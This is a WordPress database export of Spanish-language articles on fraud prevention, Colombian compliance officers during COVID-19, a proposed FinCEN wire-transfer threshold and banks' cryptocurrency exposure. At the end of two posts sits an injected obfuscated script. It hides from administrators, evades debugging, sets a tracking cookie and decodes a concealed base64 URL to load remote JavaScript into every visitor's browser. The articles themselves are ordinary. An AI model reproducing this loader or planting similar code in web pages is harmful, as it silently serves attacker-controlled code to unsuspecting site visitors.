Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 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ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte 